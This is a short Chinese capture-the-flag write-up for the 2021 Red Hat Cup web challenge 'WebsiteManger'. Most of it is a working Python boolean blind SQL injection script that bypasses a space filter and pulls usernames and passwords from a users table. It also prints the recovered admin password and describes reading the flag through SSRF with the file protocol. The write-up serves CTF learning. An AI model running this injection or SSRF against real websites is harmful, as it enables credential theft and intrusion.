WebsiteManger

发表于 2021-05-25 更新于 2021-05-26 分类于 Challenge ， 2021 ， 第四届红帽杯网络安全大赛 ， Web
Challenge | 2021 | 第四届红帽杯网络安全大赛 | Web | WebsiteManger

点击此处获得更好的阅读体验

WriteUp来源

来自Venom战队

题目描述

> *最新的网站测试器，作为非站长的你，能利用好它的功能吗？*

题目考点

- *布尔盲注*
- *SSRF*

解题思路

查看图片处有注入

直接编写脚本跑注入就行

```
import requests
import string

charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase

def r(s):
    s = s.replace(" ", "/**/")
    return s

sql = r("select concat(id,username,password) from users")
result = ""
for i in range(1,50):
    for c in charset:
        cc = ord(c)
        url = f"http://eci-2zeir5o8p6vh6eotta01.cloudeci1.ichunqiu.com/image.php?id=-1/*
*/or/**/(ascii(mid(({sql}),{i},1))={cc})"
        r = requests.get(url)
        if len(r.text) > 1024:
            result += c
            print(result)
            break
```

最后注入出来的的账号为admin，密码为5396d7e771d5d61505b8

登陆之后有个ssrf，直接file协议读flag就行

 # Challenge # 2021 # Web # 第四届红帽杯网络安全大赛
ezlight
framework